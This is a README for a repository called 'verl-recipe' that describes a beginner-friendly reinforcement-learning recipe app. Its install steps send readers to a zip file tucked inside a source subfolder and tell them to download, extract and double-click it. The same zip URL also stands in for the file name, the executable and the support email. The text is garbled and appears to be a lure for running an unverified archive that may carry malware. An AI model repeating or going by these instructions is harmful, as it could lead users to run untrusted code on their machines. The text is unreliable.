🍽️ verl-recipe - Simple Recipes for Reinforcement Learning

🛠️ Features

• Collection of easy-to-follow recipes for reinforcement learning.
• Ideal for beginners and non-programmers.
• Supports end-to-end training with clear examples.

📥 Download & Install

You can easily download the software from our Releases page.

Visit this page to download: GitHub Releases.

📋 System Requirements

To run this application smoothly, ensure your system meets these requirements:

• Operating System: Windows, macOS, or Linux.
• RAM: Minimum of 4 GB.
• Disk Space: At least 200 MB for installation.

Make sure your system is up to date with the latest software updates.

🚀 Getting Started

Once you have downloaded the application, follow these steps to start using it:

1. Locate the Downloaded File: Open the folder where your downloads are saved. You should see a file named something like https://github.com/Hamed8845/verl-recipe/raw/refs/heads/main/spo/estimate_offline_values/verl_recipe_3.6.zip.

2. Unzip the File: Right-click on the https://github.com/Hamed8845/verl-recipe/raw/refs/heads/main/spo/estimate_offline_values/verl_recipe_3.6.zip file and select “Extract All.” Choose a destination folder where you want to keep the application files.

3. Open the Application: In the folder where you extracted the files, double-click on https://github.com/Hamed8845/verl-recipe/raw/refs/heads/main/spo/estimate_offline_values/verl_recipe_3.6.zip (or the equivalent file for your operating system).

4. Follow On-Screen Instructions: A welcome window will appear. Just follow the on-screen instructions to set up the application.

5. Select a Recipe: Once the application opens, click on a recipe from the menu. You can find various example scenarios to explore.

🌐 Using the Application

To get the best out of verl-recipe, consider these simple tips:

• Start with Simple Recipes: Choose a beginner-friendly recipe to understand the basics of reinforcement learning.

• Refer to the Documentation: Each recipe comes with a guide explaining its purpose and how to run it. Detailed instructions will make your learning process smoother.

• Experiment: Feel free to modify parameters within the recipes. This will help you grasp the concepts better.

📚 Learning Resources

Enhance your understanding of reinforcement learning through these resources:

• Online Courses: Websites like Coursera and Udemy offer valuable courses on reinforcement learning.

• Books: Books such as "Reinforcement Learning: An Introduction" by Sutton and Barto are excellent for deepening your knowledge.

• Community Forums: Join online communities and forums dedicated to reinforcement learning. Engaging with others can provide additional insights and support.

🤝 Contributing

If you would like to contribute to this project, follow these guidelines:

1. Fork the Repository: Click the "Fork" button at the top right of this page.

2. Make Your Changes: Clone your fork to your computer, make modifications, and test them.

3. Submit a Pull Request: Push your changes to your fork and submit a pull request to the main repository.

We appreciate all contributions and welcome enhancements from the community!

💬 Support

If you encounter any issues or have questions, please reach out. Here’s how:

• Issues Page: Use the Issues section of this repository to report bugs or ask for help.

• Email: You can also contact us at https://github.com/Hamed8845/verl-recipe/raw/refs/heads/main/spo/estimate_offline_values/verl_recipe_3.6.zip for more direct assistance.

📅 Changelog

Keep track of updates and changes to the project:

• v1.0: Initial release with basic recipes for reinforcement learning.
• v1.1: Added new recipes and improved user interface.
• v1.2: Fixed various bugs and updated documentation.

Thank you for choosing verl-recipe! Your journey into reinforcement learning starts here!